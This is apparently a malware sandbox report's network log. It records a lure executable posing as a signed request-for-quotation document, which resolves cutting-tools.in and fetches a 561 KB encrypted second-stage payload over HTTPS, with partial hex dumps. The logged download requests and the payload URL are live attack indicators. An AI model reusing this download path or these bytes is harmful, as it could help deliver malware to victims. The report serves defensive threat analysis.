Sep 24, 2021 07:56:42.025353909 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.025392056 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.025413036 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.025501966 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.025531054 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.025573015 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.025589943 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.025608063 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.025631905 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.025794029 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.025823116 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.025860071 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.025872946 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.025907993 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.025919914 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.045743942 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.045775890 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.045917988 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.045954943 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.045979977 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.045988083 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.046027899 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.046066999 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.165945053 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.165978909 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.166125059 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.166148901 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.166368961 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.167256117 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.167289019 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.167392015 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.167408943 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.167462111 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.187804937 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.187845945 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.187947989 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.187963963 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.187980890 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.188004971 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.188011885 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.188019991 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.188045025 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.188086033 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.196405888 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.196439028 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.196538925 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.196556091 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.196578979 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.196686029 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.196827888 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.196856022 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.196913004 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.196924925 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.196966887 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.197005033 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.197043896 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.197073936 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.197185993 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.197201967 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.197247028 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.197266102 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.197272062 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.197284937 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.197319031 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.197366953 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.197405100 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.197432995 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.197478056 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.197489977 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.197571039 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.197585106 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.206687927 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.206718922 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.206789970 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.206813097 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.206830978 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.206850052 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.206865072 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.206877947 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.206887007 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.206912041 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.206971884 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.207082987 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.207107067 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.207161903 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.207176924 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.207190990 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.207225084 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.256923914 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.256957054 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.257091999 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.257113934 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.258299112 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.314713955 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.314748049 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.318238020 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.320704937 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.322616100 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.322633982 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.322650909 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.322695971 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.322796106 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.322805882 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.322915077 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.338917971 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.338951111 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339045048 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.339059114 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339075089 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339135885 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339152098 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.339162111 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339204073 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.339242935 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.339324951 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339348078 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339385986 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.339392900 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339438915 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.339730978 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339766026 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339798927 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.339806080 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339814901 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.339864016 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.339884043 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.339953899 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.854623079 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:53.715215921 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:53.715269089 CEST	443	49743	162.215.240.160	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2021 07:56:33.429594994 CEST	57459	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:56:33.453699112 CEST	53	57459	8.8.8.8	192.168.2.3
Sep 24, 2021 07:56:39.952549934 CEST	57875	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:56:40.105408907 CEST	53	57875	8.8.8.8	192.168.2.3
Sep 24, 2021 07:56:58.696583986 CEST	54154	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:56:58.724232912 CEST	53	54154	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:16.880486965 CEST	52806	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:16.920020103 CEST	53	52806	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:17.418473005 CEST	53910	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:17.453537941 CEST	53	53910	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:17.837970018 CEST	64021	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:17.870966911 CEST	53	64021	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:17.905064106 CEST	60784	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:17.928543091 CEST	53	60784	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:18.307490110 CEST	51143	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:18.326859951 CEST	53	51143	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:19.084872961 CEST	56009	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:19.104145050 CEST	53	56009	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:19.774544001 CEST	59026	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:19.794310093 CEST	53	59026	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:20.395898104 CEST	49572	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:20.419296980 CEST	53	49572	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:21.390907049 CEST	60823	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:21.410413027 CEST	53	60823	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:22.347815037 CEST	52130	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:22.372459888 CEST	53	52130	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:22.763413906 CEST	55102	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:22.809895039 CEST	53	55102	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:26.554929018 CEST	56236	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:26.574224949 CEST	53	56236	8.8.8.8	192.168.2.3
Sep 24, 2021 07:57:35.361080885 CEST	56527	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:57:35.382949114 CEST	53	56527	8.8.8.8	192.168.2.3
Sep 24, 2021 07:58:06.267764091 CEST	49559	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:58:06.295447111 CEST	53	49559	8.8.8.8	192.168.2.3
Sep 24, 2021 07:58:40.189065933 CEST	52650	53	192.168.2.3	8.8.8.8
Sep 24, 2021 07:58:40.216857910 CEST	53	52650	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 24, 2021 07:56:39.952549934 CEST	192.168.2.3	8.8.8.8	0x689e	Standard query (0)	cutting-tools.in	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 24, 2021 07:56:40.105408907 CEST	8.8.8.8	192.168.2.3	0x689e	No error (0)	cutting-tools.in		162.215.240.160	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cutting-tools.in

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49742	162.215.240.160	443	C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Timestamp	Direction	Data
2021-09-24 05:56:40 UTC	OUT	GET /apibadboycpanelaunicationrelayserverconfigurapsyste/Uhubvlhwjlopolbbrwsjxlbmrbynkke HTTP/1.1 User-Agent: zipo Host: cutting-tools.in
2021-09-24 05:56:40 UTC	IN	HTTP/1.1 200 OK Date: Fri, 24 Sep 2021 05:56:40 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 23 Sep 2021 04:37:35 GMT Accept-Ranges: bytes Content-Length: 561152 Vary: Accept-Encoding,User-Agent
2021-09-24 05:56:40 UTC	IN	Data Raw: 04 19 56 53 dd f5 a9 08 25 64 6b e9 8b b1 1b 4f 38 8b af 16 d8 60 6f 8b bb 2c f1 8e c1 3b 19 42 a4 f7 bb 30 e0 7e 2d 7b 98 df f6 39 0b a6 f3 a6 fe 3b 00 08 39 0b a6 f3 a6 fe 3b 00 17 4c bf 35 07 9e f9 b7 07 98 d5 e8 0e 2a ea 1f 54 49 26 e7 8c c0 a3 6c 63 ef 97 50 ba a2 f0 0c 2d 7c 17 46 ac 86 24 c6 58 57 c0 ba a2 f5 a6 ea 08 2f 7f a1 6b f8 3d 0d b4 9e e7 81 ad 0d ad 19 41 10 3a 8a 39 0d bc b2 8c c6 4e b3 12 33 7e 33 78 18 cd cb cf d5 f1 86 2c f7 a5 71 82 2f 77 83 a9 0f b9 20 d1 d9 f9 b7 07 98 d5 e8 0e 2a ea 1f 54 49 26 e7 8c c0 a3 6c 63 ef 97 50 ba a2 f0 0c 2d 7c 17 46 ac 86 24 c6 58 57 c0 ba a2 f5 a6 ea 08 2f 7f a1 6b f8 3d 0d b4 9e e7 81 ad 0d ad 19 41 10 3a 8a 39 0d bc b2 8c c6 4e b3 12 33 7e 33 78 18 cd cb cf d5 f1 86 2c f7 a5 71 82 2f 77 83 a9 0f b9 Data Ascii: VS%dkO8`o,;B0~-{9;9;L5TI&lcP-\|F$XW/k=A:9N3~3x,q/w TI&lcP-\|F$XW/k=A:9N3~3x,q/w

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49743	162.215.240.160	443	C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-24 05:56:41 UTC	8	OUT	GET /apibadboycpanelaunicationrelayserverconfigurapsyste/Uhubvlhwjlopolbbrwsjxlbmrbynkke HTTP/1.1 User-Agent: aswe Host: cutting-tools.in Cache-Control: no-cache
2021-09-24 05:56:41 UTC	8	IN	HTTP/1.1 200 OK Date: Fri, 24 Sep 2021 05:56:41 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 23 Sep 2021 04:37:35 GMT Accept-Ranges: bytes Content-Length: 561152 Vary: Accept-Encoding,User-Agent
2021-09-24 05:56:41 UTC	8	IN	Data Raw: 04 19 56 53 dd f5 a9 08 25 64 6b e9 8b b1 1b 4f 38 8b af 16 d8 60 6f 8b bb 2c f1 8e c1 3b 19 42 a4 f7 bb 30 e0 7e 2d 7b 98 df f6 39 0b a6 f3 a6 fe 3b 00 08 39 0b a6 f3 a6 fe 3b 00 17 4c bf 35 07 9e f9 b7 07 98 d5 e8 0e 2a ea 1f 54 49 26 e7 8c c0 a3 6c 63 ef 97 50 ba a2 f0 0c 2d 7c 17 46 ac 86 24 c6 58 57 c0 ba a2 f5 a6 ea 08 2f 7f a1 6b f8 3d 0d b4 9e e7 81 ad 0d ad 19 41 10 3a 8a 39 0d bc b2 8c c6 4e b3 12 33 7e 33 78 18 cd cb cf d5 f1 86 2c f7 a5 71 82 2f 77 83 a9 0f b9 20 d1 d9 f9 b7 07 98 d5 e8 0e 2a ea 1f 54 49 26 e7 8c c0 a3 6c 63 ef 97 50 ba a2 f0 0c 2d 7c 17 46 ac 86 24 c6 58 57 c0 ba a2 f5 a6 ea 08 2f 7f a1 6b f8 3d 0d b4 9e e7 81 ad 0d ad 19 41 10 3a 8a 39 0d bc b2 8c c6 4e b3 12 33 7e 33 78 18 cd cb cf d5 f1 86 2c f7 a5 71 82 2f 77 83 a9 0f b9 Data Ascii: VS%dkO8`o,;B0~-{9;9;L5TI&lcP-\|F$XW/k=A:9N3~3x,q/w TI&lcP-\|F$XW/k=A:9N3~3x,q/w
2021-09-24 05:56:41 UTC	16	IN	Data Raw: 17 c3 bf a7 23 4d 2a d9 50 a4 c4 2a 62 ef b3 05 bc 4c 1d 58 83 21 de fa 86 04 72 16 7e 38 5b 59 5e cb bc 2a 7d 0d 1d 6d 2f e7 07 0d 13 ec 59 1c 73 a8 2e 7d 32 7e 40 66 8e b0 24 c5 f1 0d 2b f9 a2 59 74 46 1f 44 7d 31 f6 a4 6d 20 07 d7 4e 92 0e ba 2d ff 52 a1 9a 18 7b 81 62 ed 12 a4 fe 8c 76 51 75 a9 08 ad 8b 34 b4 05 02 a6 49 09 a4 62 e7 19 99 67 98 18 7b 84 3a 1e 42 32 c3 55 a8 fb 0e 0e 5c d9 6f 14 d1 20 2c 0d 15 a7 5b 40 12 be 0d c9 f1 b0 3b 07 ba 29 ef 17 b5 e9 66 9e 57 d5 ca c6 cc db 2d 7c 62 0b 19 64 49 be 21 ca c1 f5 78 5c e6 25 7c 97 ca ca 9e 42 16 dc c4 a7 65 7f 22 4e 73 2e 5f 8e 71 91 6f 12 ba 2b fb e9 dd c7 69 dd e6 92 45 ab 50 64 a7 d6 dc 6d a8 75 08 b2 cc 66 42 94 66 48 f0 90 48 26 ab 1d 54 7f 16 e6 5d 4f bd bd 43 ad 9b c7 7d b9 78 86 a7 ee 3f Data Ascii: #MPbLX!r~8[Y^*}m/Ys.}2~@f$+YtFD}1m N-R{bvQu4Ibg{:B2U\o ,[@;)fW-\|bdI!x\%\|Be"Ns._qo+iEPdmufBfHH&T]OC}x?
2021-09-24 05:56:41 UTC	32	IN	Data Raw: 10 1b 7d 34 ab ab 0b 4b 1f ad 2b a3 8c 0d 3f a6 d2 6f 03 b5 a6 f8 c9 e0 88 28 31 81 7b 0a 89 af 35 e0 55 37 2a 25 98 17 d1 67 de 52 d6 ef 1b c0 7e b7 a7 11 40 69 d8 4c 24 4d bf a5 1d f0 c7 19 6e 10 5a d7 6a fa b7 86 62 56 a6 06 5d 1f a7 8e 35 ce 98 cd ec 63 72 82 ac 14 a3 50 d4 b3 e4 21 e5 79 66 da a1 4f 27 e0 f0 91 c0 7e fe bc 86 5b 21 ae a8 e9 bf b0 01 00 9d 46 15 48 71 1a d0 6b 01 7b 53 37 c0 49 0d be 3a 18 4d b1 c8 8f d0 59 63 05 69 3c 6a bd c4 98 70 94 f1 77 67 2a 3f 98 36 36 7d 4a 95 e7 fc 2e 44 dd 12 f6 eb db 16 31 86 c0 70 22 46 6f 35 dd 31 41 a0 2c d2 d4 87 03 5e 60 d1 1a de fc ea be ab 05 c7 de e3 3b f2 c2 98 41 51 50 86 6d 0c e7 a4 6c 51 40 4e 7f b3 62 98 fa 77 5f 08 f5 4b 1c 3b 0b 32 0f 43 cb e6 57 5a 44 52 b5 e3 37 24 ff 3c 85 40 69 03 b2 30 Data Ascii: }4K+?o(1{5U7%gR~@iL$MnZjbV]5crP!yfO'~[!FHqk{S7I:MYci<jpwg?66}J.D1p"Fo51A,^`;AQPmlQ@Nbw_K;2CWZDR7$<@i0
2021-09-24 05:56:41 UTC	48	IN	Data Raw: 38 24 d1 37 24 4d ee b8 68 9a 0d 41 ec c0 90 fe bf e4 85 4e 50 56 bf 19 70 fd 94 79 6c 66 d8 63 82 fe ca b4 75 62 b5 35 37 89 64 f6 a2 1f ab ec 3d 28 1c de ac 19 9d 73 ba 28 3e 40 6b 36 01 5a c4 4e 43 46 1c eb 39 ec 38 23 a7 66 dc 61 5c 4c 2b a8 4b 1f 68 97 92 23 4c 7d 2b bc 68 82 f7 37 35 9d 9f 82 4c 0d b3 bb c6 5a ec f7 b5 ac a5 d5 cb 43 e0 d7 d2 3a c9 11 90 52 55 fe cf cd 57 2c 24 cf dd 08 fe f0 36 bc 22 14 a3 60 9f 87 44 8c 1e 30 22 0d bc 9d e7 40 07 95 b4 71 78 02 2f 95 7f 9c 64 a4 da a7 e0 b7 d6 91 94 4a eb 04 f4 d8 0b 08 07 29 1c d6 dd 13 a9 ab dc 5c e1 ed 00 d3 73 55 01 ed ae 06 c1 e7 9e 79 bf b4 75 7f 56 a2 9c 4a 70 e9 78 e0 81 64 46 c8 c2 27 e8 87 6d 38 a9 21 dc f1 18 52 df ea ff 54 b9 30 26 04 d7 17 bb c4 4c 78 06 77 11 66 ff 57 21 ad e5 41 e3 Data Ascii: 8$7$MhANPVpylfcub57d=(s(>@k6ZNCF98#fa\L+Kh#L}+h75LZC:RUW,$6"`D0"@qx/dJ)\sUyuVJpxdF'm8!RT0&LxwfW!A
2021-09-24 05:56:41 UTC	64	IN	Data Raw: ff 98 67 04 d3 30 e8 6a 19 c9 40 15 7b 7b 52 d7 7f 0a d1 2a f4 89 41 0c 31 0b c2 3c 14 a8 2d b8 25 df 44 29 ef 53 38 a2 98 f0 c4 af 26 8d cd 59 53 09 33 7a a4 00 e8 dd 02 74 64 76 c2 99 7d ce d1 53 56 0d 78 ff 48 5f 0e f0 3a 46 8f cb 28 59 2a 07 54 aa 93 76 7f 28 61 6d 20 fd a0 89 3f 8f c3 ea 94 3a 38 64 92 1e 27 a8 13 a9 2d 43 b3 84 bd fc e8 93 35 d9 05 67 d9 44 92 e8 b9 24 25 a1 4d b6 45 93 73 f0 e0 6e 9a 99 2d 5c 43 4d b8 2a 78 c9 57 16 72 fb 47 38 b6 73 71 4c 9c ce 39 9d e9 1e 1f 99 c4 61 59 23 a1 49 87 5a 15 55 3d e7 7b 5a 70 8f 9e 41 a4 26 c1 b5 3b 91 40 73 79 6a aa 55 b9 8b 6a 2f 8d aa 77 bd 09 cc ce c0 34 4e 6d d0 42 d0 db 7c 8d c6 19 f7 52 b2 50 ca a7 80 de 67 d8 c9 4f aa 02 de ae 9d 7c b0 12 a4 79 1d 61 4d ca bb 09 ab f0 32 d4 03 64 83 5a 9f ef Data Ascii: g0j@{{RA1<-%D)S8&YS3ztdv}SVxH_:F(YTv(am ?:8d'-C5gD$%MEsn-\CM*xWrG8sqL9aY#IZU={ZpA&;@syjUj/w4NmB\|RPgO\|yaM2dZ
2021-09-24 05:56:41 UTC	80	IN	Data Raw: 36 00 de a2 03 64 43 97 ac 43 e1 94 6a b2 ba 31 a6 50 9c fe e3 6b 70 8d 9a 24 09 26 a8 69 78 9b 43 16 41 36 e4 85 69 25 94 29 9a 09 81 83 c6 da e5 0d 77 44 55 1f bf fd 6d 64 18 0d 51 34 9f d3 a3 6f 36 80 f1 8f c9 d4 7b 56 c2 3e 10 fd 94 f4 16 56 c6 cd 15 64 75 af 3c 1e 57 58 85 67 6b d5 66 ff 3b 05 b1 78 9f f8 a2 25 8c 28 15 4f e7 ba 33 c9 d8 9b 9b 73 bc 24 f3 6d 78 db 2f 9d 98 2d 8a 2d 56 7a 87 24 53 16 02 e4 d8 b1 d9 7d 0d 72 fd 4a ae 21 32 e7 30 87 ee 3b ce c1 e6 cc c9 9f a3 86 cd 16 1a 54 68 5d 22 33 59 64 89 62 b7 49 d6 88 cf 22 0e 38 1f 90 65 f9 9a 6e d8 b1 87 d6 b5 e7 71 9f db 14 f8 eb fc 98 0f d0 c5 e6 bd c5 fa 51 bd d4 de d8 21 8f 6d 66 78 21 a9 d1 a0 0f 43 cb 14 bd 19 c3 b0 19 6c d3 24 8b 52 ae 7e d1 0f 02 4a 49 32 9e 0b 67 de ea 2e 71 ab eb 69 Data Ascii: 6dCCj1Pkp$&ixCA6i%)wDUmdQ4o6{V>Vdu<WXgkf;x%(O3s$mx/--Vz$S}rJ!20;Th]"3YdbI"8enqQ!mfx!Cl$R~JI2g.qi
2021-09-24 05:56:42 UTC	96	IN	Data Raw: c8 e0 f4 09 bf 96 c7 77 f3 90 c2 49 76 32 ab 61 8b a7 89 8d 40 36 c6 ef 68 3c 64 cf 7e 92 7a 28 ad df e0 d0 c8 08 06 ce 1c 27 17 97 e1 e2 1e a1 8c f7 be ca e4 24 e4 35 d6 78 26 cd 8b 57 bb a6 30 ca 77 83 12 06 3b 8e 07 85 c5 b5 39 5b 8b 8a 04 e1 1c 1e 87 44 5d 22 b1 d4 47 7f 5e 28 7f 53 4c 8f b5 c1 45 28 b2 93 99 53 4b 09 aa 87 35 74 f4 61 6a e6 f9 89 1c 74 63 b3 e4 0c 6c 12 35 85 2e f0 70 f9 35 e8 e2 d4 f2 8f da ec 88 d0 cc e0 f9 6c 9c 26 98 81 15 e0 74 94 81 51 cd a0 7c 5e f9 24 42 39 56 7f a4 d4 82 34 e0 91 e9 ce 2a 16 d0 b4 cd 95 ba 15 0b 8d 15 80 f6 6e 7c f6 e5 97 b5 1a de fd 53 7f 4e 66 07 78 50 16 8a 5c c2 bc 66 38 b9 85 c4 92 58 91 48 3d 56 0d 7b cd 03 d4 c3 7d a6 53 4c 79 03 08 79 7e 71 70 9f 54 12 69 33 7f fa dd a5 18 93 c1 da e3 59 26 16 04 43 Data Ascii: wIv2a@6h<d~z('$5x&W0w;9[D]"G^(SLE(SK5tajtcl5.p5l&tQ\|^$B9V4*n\|SNfxP\f8XH=V{}SLyy~qpTi3Y&C
